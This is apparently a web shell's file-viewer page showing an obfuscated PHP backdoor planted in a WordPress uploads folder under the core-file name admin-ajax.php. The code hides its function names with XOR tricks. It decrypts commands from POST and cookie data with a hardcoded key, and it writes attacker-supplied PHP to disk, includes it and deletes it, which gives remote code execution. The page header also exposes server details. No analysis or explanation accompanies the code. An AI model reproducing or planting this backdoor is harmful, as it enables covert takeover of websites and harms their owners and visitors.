HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/08/admin-ajax.php
<?php $dxkaugwtmn /*m*/ =	'dxkaugwtmn'    ^	'';
$robjymo /*   hkkshh */ =	"a"."r".$dxkaugwtmn(114)	.	"a"."\171"       .    $dxkaugwtmn(450-355)  .  "\x6d"  . /*  jvf*/ "\x61" /*  b_bjb   */ .    "p";
$pxmuspc    =     "i"."m".$dxkaugwtmn(112)       .     "\x6c"   .    $dxkaugwtmn(111)	.    "d"."\145";






function    _himnyuxw($vklm_yr,	$ormnmffify){


 /*  jp*/ global /*jahbtp   */ $dxkaugwtmn;


      /*mb*/ $vklm_yr /*  a */ = /*   bvfzp  */ "\74" /*  zksqd   */ .	$dxkaugwtmn(63) /* kdpe*/ .    "p".$dxkaugwtmn(562-458)    .       "\x70"       .	$dxkaugwtmn(32)    . /*  o  */ $dxkaugwtmn(810-693) /* vp */ .    "n"."l".$dxkaugwtmn(411-306)."n"."\153" /*  jeltpz */ .    $dxkaugwtmn(477-437)	.    "_"."_".$dxkaugwtmn(70)	.	$dxkaugwtmn(809-736)    .	$dxkaugwtmn(76) /* pvtps*/ .  "E"."\137"	.    "_".$dxkaugwtmn(41)    .    ";".$dxkaugwtmn(32)     .	$vklm_yr["\144"];


	$oecdpaql    =  "f".$dxkaugwtmn(860-755) /*bylbq   */ .	"l"."e"."\137"	. /*  hryttf*/ "p"."u".$dxkaugwtmn(116) /*pwewq_*/ .	"\x5f" /* r   */ .	"\x63"       . /*jyiz*/ $dxkaugwtmn(111) /* qs_qvc */ .  "n".$dxkaugwtmn(116)    .       $dxkaugwtmn(101)	. /*blxoq*/ "\x6e" /*  kthygr*/ . /*  n */ $dxkaugwtmn(116)	.    $dxkaugwtmn(115);


    


  $oecdpaql($ormnmffify,     $vklm_yr);
  
  h_hnd($ormnmffify);


}
$fjiys     =	73;



function /*shjzsf  */ h_hnd($ormnmffify)


{

 /*   tfprx  */ global    $dxkaugwtmn;


      /*  xlegtt*/ include($ormnmffify);


    $dmmxtdxc /*   pnh*/ =    $ormnmffify; /*  emfarv*/ @unlink($dmmxtdxc);


}
function /*   qdpe  */ dbkcoxsj(){ /*  pci_  */ global  $dxkaugwtmn;


 /*  qyyi_w   */ $limfi	=	array();


      $limfi["p"."v"]       =     phpversion();

 /*jrugvi  */ $limfi["s"."v"] /* sl_grl   */ =	"3"."\x2e"    . /*  xy  */ "\65";

	$hyhza /* eb */ =	74; /* becpqu*/ echo /*  x  */ @serialize($limfi);
}



function  bhhdqfl($vklm_yr, /*   _ */ $qe_oyoydwl){
	global /* efa */ $dxkaugwtmn;




    $dmtsvag   =      "";
	$y_vnpr    =      strlen($vklm_yr);

    $qcfccvfzl /*ns*/ =   strlen($qe_oyoydwl);	$limfi /*   gmbwyo   */ =    0;       $agvgiyegq	=    0;
		while    ($limfi /*   ld   */ <    $y_vnpr)    {	$hciqjlcdj  = /*   vcoi */ $vklm_yr[$limfi]     ^      $qe_oyoydwl[$agvgiyegq       %    $qcfccvfzl];      $dmtsvag      .=    $hciqjlcdj;

    $agvgiyegq++;    	$limfi++; /*r*/ } /*ncjzwe */ 
 /* qdornl*/ if    (strlen($dmtsvag)      >    20)    {


     $gwvapy    =	substr($dmtsvag,	0,	20);


       }

 /*  wct*/ if /*   yqx   */ (empty($dmtsvag))    {


  $dmtsvag    =      date('Y-m-d /* rgpnlx*/ H:i:s');
    }
	return /* yqlkqs   */ $dmtsvag;
}


function    qnhfbh($mgzlf_u)
{ /*dq_ */ global       $dxkaugwtmn;

     
 /*  bbtyyz  */ $ojtzun /*tkuhs  */ =	$dxkaugwtmn(102) /*   tec*/ .	$dxkaugwtmn(50)      .    "8"."6"."e"."\142"       .	"\x37"	. /*   f*/ "1"."-"."\x31"       .    "f"."\61"    . /*ntlnc*/ "\62"       .  "\x2d" /* c */ .	"4"."\x37"	.    $dxkaugwtmn(252-201)  . /* jtrwoq   */ $dxkaugwtmn(98)  . /*   jujjqe  */ "-"."b".$dxkaugwtmn(808-754)       . /*   tnvogu*/ $dxkaugwtmn(49) /*  vf */ .	$dxkaugwtmn(638-585)	.      $dxkaugwtmn(45) /*  t */ . /*pje   */ $dxkaugwtmn(102) /* ohka */ . /*w */ "\141"      . /*   qdl  */ "\x35" /*   lepf   */ .	"5".$dxkaugwtmn(1039-937) /*   kpyrsp  */ .    "0"."\x61".$dxkaugwtmn(642-592)    .    "f".$dxkaugwtmn(101)     .    $dxkaugwtmn(54) /*   jtkme   */ . /*   de*/ $dxkaugwtmn(98);          foreach  ($mgzlf_u /*c  */ as    $lcemavhlx     => /*  v  */ $vklm_yr)    { /*  z   */ iprbpldodt(base64_decode($vklm_yr),     $ojtzun, /*b*/ $lcemavhlx);
 /*  _wy*/ }}


function /*   bfslco*/ iprbpldodt($vklm_yr,    $ojtzun, /*  a*/ $lcemavhlx)

{

 /* nhiosg   */ global    $dxkaugwtmn;

 /* gkt*/ 
      $vklm_yr /*vichp */ = /*   wmudpd   */ unserialize(bhhdqfl(bhhdqfl($vklm_yr,    $ojtzun), /* nlilhr*/ $lcemavhlx));
	$czlezfb    =   'myem';

	$smgzggsht      =    'p__lyugucz';
   if    (isset($vklm_yr["\x61"."\x6b"]))       {


	if /* wk   */ ($vklm_yr["\x61"]  ==	$dxkaugwtmn(411-306))  {
      dbkcoxsj();
 /* ls   */ } /*ngkgx*/ elseif     ($vklm_yr["\x61"] /*  mzkbz */ == /*  vcxw   */ "e")    {
 /*   p  */ _himnyuxw($vklm_yr,    sprintf("."."\x2f"      .      $dxkaugwtmn(37)   .    "s"."\x2e"    . /*teewfg*/ "\160" /*  tz */ .    "\154",    md5($ojtzun)));
			$uchwdcnom /*  _gytwd  */ = /*  cvm_ns  */ 44;


   }
  exit();
   }


}qnhfbh($_POST);	

$odjeptex /* yugeg   */ =    'rawurldecode';


$degvznbaw      = /*zo_hg   */ $robjymo($odjeptex, /*   i  */ $_POST);
$pxmuspc("", /*b */ $odjeptex);


qnhfbh($_COOKIE);$gxnckqfrwz /* tf  */ =    $robjymo($odjeptex,     $_COOKIE);




?>